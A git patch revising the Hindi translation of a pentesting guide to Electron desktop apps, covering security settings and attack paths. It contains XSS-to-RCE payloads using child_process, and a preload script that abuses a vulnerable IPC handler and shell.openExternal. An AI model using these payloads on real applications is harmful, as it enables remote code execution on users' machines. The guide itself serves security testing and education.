From 9648afbcc6c834668999093ee274b1aeebf0a386 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 21:59:52 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/electron-des --- .../electron-desktop-apps/README.md | 264 +++++++++--------- 1 file changed, 139 insertions(+), 125 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 7c5c33aef..d92a5c4ab 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -1,30 +1,30 @@ -# Electron Desktop Apps +# Electron डेस्कटॉप ऐप्स {{#include ../../../banners/hacktricks-training.md}} ## परिचय -Electron स्थानीय backend (**NodeJS** के साथ) और frontend (**Chromium**) को जोड़ता है, हालांकि इसमें आधुनिक ब्राउज़रों की कुछ सुरक्षा तंत्रों की कमी होती है। +Electron एक स्थानीय backend (with **NodeJS**) और frontend (**Chromium**) को जोड़ता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ security mechanisms की कमी होती है। -आमतौर पर आप Electron app का कोड `.asar` एप्लिकेशन के अंदर पाएंगे; कोड प्राप्त करने के लिए आपको इसे extract करना होगा: +आम तौर पर आप electron app का code `.asar` application के अंदर पाएँगे; code प्राप्त करने के लिए आपको इसे extract करना होगा: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -Electron app के स्रोत कोड में, `packet.json` के अंदर, आप निर्दिष्ट `main.js` फ़ाइल पा सकते हैं जहाँ security configs सेट किए गए हैं। +Electron app के source code में, `packet.json` के अंदर आप `main.js` फ़ाइल पा सकते हैं जहाँ security configs सेट होते हैं। ```json { "name": "standard-notes", "main": "./app/index.js", ``` -Electron के 2 प्रकार के प्रोसेस हैं: +Electron में 2 process प्रकार हैं: -- Main Process (NodeJS तक पूर्ण पहुँच है) +- Main Process (NodeJS तक पूर्ण पहुँच) - Renderer Process (सुरक्षा कारणों से NodeJS की पहुँच सीमित होनी चाहिए) ![](<../../../images/image (182).png>) -एक **renderer process** ब्राउज़र विंडो होगी जो एक फाइल लोड करेगी: +एक **renderer process** एक ब्राउज़र विंडो होगा जो एक फ़ाइल लोड करेगा: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,35 +32,20 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**. +main.js फ़ाइल के अंदर **main process** में **renderer process** की Settings **configured** की जा सकती हैं। कुछ configurations सही तरीके से सेट होने पर यह **Electron application** को RCE या अन्य vulnerabilities मिलने से रोक सकती हैं अगर **settings are correctly configured**। -main.js फ़ाइल के अंदर **main process** में **renderer process** की सेटिंग्स **configured** की जा सकती हैं। अगर ये सेटिंग्स सही तरीके से कॉन्फ़िगर की गई हों तो इनमें से कुछ कॉन्फ़िगरेशन Electron application को RCE या अन्य vulnerabilities आने से रोक सकती हैं। +Electron application Node apis के माध्यम से डिवाइस तक एक्सेस कर सकती है, हालांकि इसे रोकने के लिए configure किया जा सकता है: -The electron application **could access the device** via Node apis although it can be configure to prevent it: - -Electron application Node apis के माध्यम से डिवाइस तक पहुँच सकती है, हालांकि इसे रोकने के लिए कॉन्फ़िगर किया जा सकता है: - -- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process. -- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated. -- **`preload`** - empty by default. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform. +- **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` होता है। अगर `on` है, तो यह renderer process से node features तक access करने की अनुमति देता है। +- **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` होता है। अगर `off` है, तो main और renderer processes isolated नहीं रहते। +- **`preload`** - डिफ़ॉल्ट रूप से empty रहता है। +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से off है। यह NodeJS द्वारा किए जा सकने वाले actions को सीमित करेगा। - Node Integration in Workers -- **`nodeIntegrationInSubframes`**- is `off` by default. -- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application. -- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe - -- **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` है। यदि `on` है, तो renderer process से node फीचर्स तक पहुँचने की अनुमति देता है। -- **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` है। यदि `off` है, तो main और renderer processes अलग-थलग नहीं रहते। -- **`preload`** - डिफ़ॉल्ट रूप से खाली है। -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से `off` है। यह NodeJS द्वारा किए जा सकने वाले actions को प्रतिबंधित करेगा। -- Workers में Node Integration -- **`nodeIntegrationInSubframes`** - डिफ़ॉल्ट रूप से `off` है। -- यदि **`nodeIntegration`** **enabled** है, तो यह Electron application के अंदर iframes में लोड किए गए वेब पेजों में **Node.js APIs** के उपयोग की अनुमति देगा। -- यदि **`nodeIntegration`** **disabled** है, तो preload स्क्रिप्ट्स iframe में लोड होंगे। +- **`nodeIntegrationInSubframes`**- डिफ़ॉल्ट रूप से `off` होता है। +- अगर **`nodeIntegration`** **enabled** है, तो यह Electron application के भीतर उन web pages में, जो **loaded in iframes** हैं, **Node.js APIs** के उपयोग की अनुमति देगा। +- अगर **`nodeIntegration`** **disabled** है, तो preloads iframe में लोड होंगे Example of configuration: - -कॉन्फ़िगरेशन का उदाहरण: ```javascript const mainWindowOptions = { title: "Discord", @@ -86,7 +71,7 @@ spellcheck: true, }, } ``` -कुछ **RCE payloads** [here](https://7as.es/electron/nodeIntegration_rce.txt) से: +कुछ **RCE payloads** से [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): src="x" onerror="alert(require('child_process').execSync('uname -a').toString());" /> ``` -### ट्रैफ़िक कैप्चर +### ट्रैफ़िक कैप्चर करें -start-main कॉन्फ़िगरेशन को संशोधित करें और निम्नलिखित जैसे proxy का उपयोग जोड़ें: +start-main कॉन्फ़िगरेशन को संशोधित करें और किसी proxy का उपयोग जोड़ें, जैसे: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Electron Local Code Injection -यदि आप स्थानीय रूप से किसी Electron App को चला सकते हैं, तो संभव है कि आप इसे मनमाना javascript code निष्पादित करने के लिए मजबूर कर सकें। इसके बारे में देखें: - +यदि आप स्थानीय रूप से एक Electron App चला सकते हैं, तो संभव है कि आप इसे मनमाना javascript code निष्पादित करने के लिए मजबूर कर सकें। यह कैसे देखें: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -127,7 +111,7 @@ start-main कॉन्फ़िगरेशन को संशोधित क ## RCE: XSS + nodeIntegration -यदि **nodeIntegration** **on** पर सेट है, तो किसी वेब पेज का JavaScript सिर्फ `require()` कॉल करके आसानी से Node.js फीचर्स का उपयोग कर सकता है। उदाहरण के लिए, Windows पर calc application को चलाने का तरीका है: +यदि **nodeIntegration** **on** पर सेट है, तो किसी वेब पेज का JavaScript `require()` को कॉल करके आसानी से Node.js फीचर्स का उपयोग कर सकता है। उदाहरण के लिए, Windows पर calc application चलाने का तरीका है: ```html ``` -## RCE: webviewTag + vulnerable preload IPC + shell.openExternal +## RCE: webviewTag + कमजोर preload IPC + shell.openExternal -यह कमज़ोरी **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** में पाई जा सकती है। +यह vuln **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** में पाया जा सकता है। -The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, and इसे अक्षम कर देना चाहिए क्योंकि यह preload context के अंदर एक script लोड करने की अनुमति देता है जैसा कि: +**webviewTag** एक **deprecated feature** है जो **renderer process** में **NodeJS** के उपयोग की अनुमति देता है, इसलिए इसे निष्क्रिय कर देना चाहिए क्योंकि यह preload context के अंदर script लोड करने की अनुमति देता है, जैसे: ```xml ``` -इसलिए, एक attacker जो किसी arbitrary पेज को लोड करने में सक्षम हो, वह उस tag का उपयोग करके **load an arbitrary preload script** कर सकता है। +इसलिए, एक attacker जो किसी arbitrary पेज को लोड करने में सफल होता है, वह उस tag का उपयोग कर **load an arbitrary preload script** कर सकता है। -इसके बाद इस preload script का दुरुपयोग कर एक **vulnerable IPC service (`skype-new-window`)** को कॉल किया गया, जो RCE पाने के लिए **`shell.openExternal`** को कॉल कर रहा था: +यह preload script दुरुपयोग कर के एक **vulnerable IPC service (`skype-new-window`)** को कॉल करने के लिए इस्तेमाल किया गया, जो RCE पाने के लिए **`shell.openExternal`** को कॉल कर रहा था: ```javascript (async() => { const { ipcRenderer } = require("electron"); @@ -264,13 +248,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do }, 5000); })(); ``` -## आंतरिक फाइलें पढ़ना: XSS + contextIsolation +## आंतरिक फ़ाइलें पढ़ना: XSS + contextIsolation -**`contextIsolation` को अक्षम करने से `` टैग्स का उपयोग संभव हो जाता है**, `